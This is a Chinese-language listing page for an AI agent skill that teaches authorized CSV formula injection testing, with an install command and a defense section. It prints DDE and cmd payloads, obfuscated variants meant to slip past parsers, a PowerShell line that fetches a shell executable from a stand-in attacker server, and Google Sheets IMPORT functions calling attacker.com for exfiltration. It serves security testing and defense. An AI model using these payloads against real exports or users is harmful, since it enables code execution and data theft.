mcpField
C
csv-formula-injection

csv-formula-injection

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 csv-formula-injection

面向经授权安全测试的 CSV 公式注入技能,涵盖表格公式与 DDE 风险、测试流程及导出防护方法。

主要功能

  1. 01公式前缀与 DDE 测试
  2. 02混淆模式检查
  3. 03Google Sheets 导入风险
  4. 04导出链路测试方法
  5. 05CSV 注入防护建议

适用场景

  1. 01检查 CSV 导出中的用户输入
  2. 02在实验环境验证表格公式执行
  3. 03评估 Google Sheets 外部请求风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill csv-formula-injection

安装后在 Claude Code 中输入/csv-formula-injection确认已加载。

详细介绍

技能:CSV 公式注入

AI 加载说明:本技能涵盖 CSV 和电子表格场景中的公式/DDE 风格注入、混淆、云端表格原语以及安全测试方法。仅在明确获得授权的情况下使用;会调用本地命令或进行远程获取的载荷会造成实际影响——优先选择实验室目标,并记录同意情况。除非项目规则允许进行客户端执行测试,否则不要以最终用户为目标。

0. 快速入门

在 Excel、LibreOffice Calc 或类似软件中打开单元格时,可能触发公式计算的字符(通常只有在单元格被解释为公式时才会触发):

=
+
-
@

测试单元格可能如下所示:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

测试方向提示:测试 CSV 导出、后台报表或在电子表格中打开的用户数据时,优先关注这些前缀字符。


1. DDE 注入(EXCEL / LIBREOFFICE)

动态数据交换(DDE)和外部调用模式过去曾在电子表格中遭到滥用。以下示例用于在受控实验室中复现:

DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

PowerShell 风格的链式调用(仅限实验室;将主机和载荷替换为无害的等效内容):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. 混淆

防御性解析器可能会移除明显的模式;测试人员可以尝试加入干扰字符和空格(仍仅限获准的场景):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

= 后的额外空白:

=         cmd|'/c calc.exe'!A

分散字符 / 不寻常的空格(概念性模式——根据解析器进行调整):

=    C    m D    |'/c calc.exe'!A

rundll32 风格:

=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE SHEETS

如果导出的数据随后会在 Google Sheets 中打开,或表格会从不可信的 CSV 拉取数据,这些函数可能导致对外请求或跨文档数据拉取:

数据外泄 / 探测(将 URL 替换为你获准使用的回调地址):

=IMPORTXML("http://attacker.com/", "//a/@href")

其他高风险导入方式:

=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")

记录执行了哪个函数,以及产生了哪些网络副作用。


4. 测试方法

  1. 梳理输出点 — 任何可输出 CSV、XLSX 或制表符分隔内容的功能:管理员导出、审计日志、用户名单、账单报表、搜索结果。
  2. 追踪用户可控字段 — 个人资料字段、工单标题、交易备注、标签、ZIP 导出文件中的文件名——任何会回显已存储输入的列。
  3. 注入公式前缀 — 先使用无害的算术表达式(=1+1、+1+1)检测是否会执行;仅根据规则升级测试。
  4. 在目标软件中打开 — 模拟受害者的工作流:Excel 桌面版、LibreOffice、导入到 Google Sheets、特定区域设置的小数分隔符。
  5. 取证 — 截图/记录单元格是否显示计算结果、安全警告或 DDE 提示;注明产品版本。

注意:重点关注 user input -> export -> opened in spreadsheet software 这一链路。


5. 防御

应用和导出层的缓解措施:

  • 添加单引号前缀 — 在许多电子表格应用中,开头的 ' 会强制按文本解释:'=cmd|... 会按原样显示。
  • 添加制表符前缀 — 某些处理流程在正确读取时,会将制表符前缀字段视为非公式文本。
  • 移除或中和前导触发字符 — 在导出时移除或转义前导的 =、+、-、@(以及外形相似的 Unicode 字符)。
  • CSV 编码 — 使用一致的引号规则;校验列类型;未经清理,不要将原始公式字符串传入财务/报表模板。
  • 用户教育 — 未经政策许可,不要启用外部数据 / DDE。

安全导出转换示例(概念性):

Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180

注意:关联业务导出、报表和 API 导出参数时,应结合注入、业务逻辑和 API 安全技能。

评论

支持 Markdown